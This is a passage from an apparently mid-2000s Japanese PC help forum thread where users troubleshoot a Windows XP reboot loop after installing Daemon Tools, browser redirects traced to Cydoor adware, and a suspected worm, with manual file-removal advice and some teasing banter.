【症状を具体的に、分かる限りすべて書く】
ようこそ画面から進もうとすると再起動してしまう。
セーフモードは起動可能らしい
【何をしたらそんなことになったのか】
daemon toolを落としてみた
【これまでにとった措置】
まだなし
【その他の質問】
ウィルスだとすればセーフモードで何をすればいいのか教えてください

>>780
素直に自分のPCって認めたらいいじゃんｗ

ほんっと多いよなｗ
友達が・・・弟が・・・母親が・・・ってやつｗ
誰のだろうがどうでもいいってのに

>>781-782
自分のPCがそんな状態だったらここに書きこめないとは思わないですか

一応セーフモードのやり方は教えたけど…そっからのアドバイス希望です

daemon toolを落としてみたてのが分からん
ダウンロードしてインストしたってか？
それとも終了させたのか
何故それがウィルスの所為に

とりあえずDaemon Toolsアンインストール

>>784-785
ごめん、詳細に聞いてみた。
Daemon起動のときに再起動を要求されて、
再起動してみたら「ようこそ画面」から動かなくなったとのこと。

セーフモードでは最初にDLしたときにexeファイルだけがデスクトップに残って、
Programファイルの中にもどこにもDaemonのインスト跡が無かった。

対処として、
さっきシステム復元というのがあって、それをしてみたそうですが。
セーフモード私は起動したことないので、どうなるのかはわかんないです。

アンインストもできず復元で直らないならもうOS再インストしかないような
当然バックアップなどなさそうだし
ってかそれで何故ウィルスかと聞いている
セーフモードでスキャンしたのか
他にシステムに異常が起こりそうな行動はしなかったのか
どっちにしても板違いだな
多分

＞何故ウィルス
再起動を繰り返すウィルスが存在するのは知っているから、もしかしたら…と思った。
「異常が起きたら何でもウィルス」ではないのは承知なのだけれど…。

＞セーフモードスキャン
やってみたそうです。ウィルス出てこなかったって。
うがぁー指示だけ出すの疲れてきた

【使用OS】WindowsXP SP2
【WindowsUpdateしてるか】している。
【AntiVirusは何を使っているか】トレンドマイクロ　ウィルスバスター2005
【ちゃんとUpdateしてるか】しています。
【スキャンした結果（ウイルス名・発見場所）】
ウィルス検査→ウィルス無し
スパイウェア検査→ADW_CYDOOR.Aの1件だけ。無害との事なので、放置しています。
【別のオンラインスキャンしたならその結果は】していません。
【症状を具体的に、分かる限りすべて書く】 リンクをクリックしたとき、2回の1回の割合で関係の無いページに飛ばされてしまいます。
【何をしたらそんなことになったのか】特別な事をした記憶はありません。アンチウィルスソフトも常駐させていました。
【これまでにとった措置】関係の無いファイル(使っていないファイル)は全て削除。ｸｯｷｰ、インターネット一時ファイルも削除。
【その他の質問】HDDには存在せず、メモリ上にのみ存在するウィルス･･･ということもあり得るのでしょうか？

>>789
ttp://www.shareedge.com/spywareguide/product_show.php?id=7

この症状に心当たり無いか
特にシステムフォルダ内に該当のファイルが存在しているかどうか

それ、スパイウェアー。

で、どんなエロを見たんだい？

インストールしたアプリにバンドルされたんじゃない？
使ってないけど「FlashGet」とかには入ってたはず

>>790->>792
FlashGetは前々から使っていたのですが、
ソフト起動時以外に広告が出たり、違うページに飛ばされるといった事はありませんでした。

ちなみに

1.以下のファイルを削除します(通常 C:\WINDOWS\SYSTEM\ にあります):
CD_CLINT.DLL
CD_GIF.DLL
CD_HTM.DLL
CD_SWF.DLL
CD_LOAD.EXE

2.ADCACHE フォルダとその中のフィアルを削除します (通常C:\WINDOWS\SYSTEM\ に見つかります)。


との事ですが、どれも見つかりませんでした。

＞CD_CLINT.DLL

今見たらあったｗ

.exeが原因で〜と起動時に毎回でてくるんですが
ググッたらhttp://www.mcafee.com/japan/security/virA2003.asp?v=W32/Alphx.worm.c
で手動による駆除方法をやってみたんですががなにも変わらなかったです
ウイルスだったら駆除の仕方を教えてください

ＯＳはＸＰです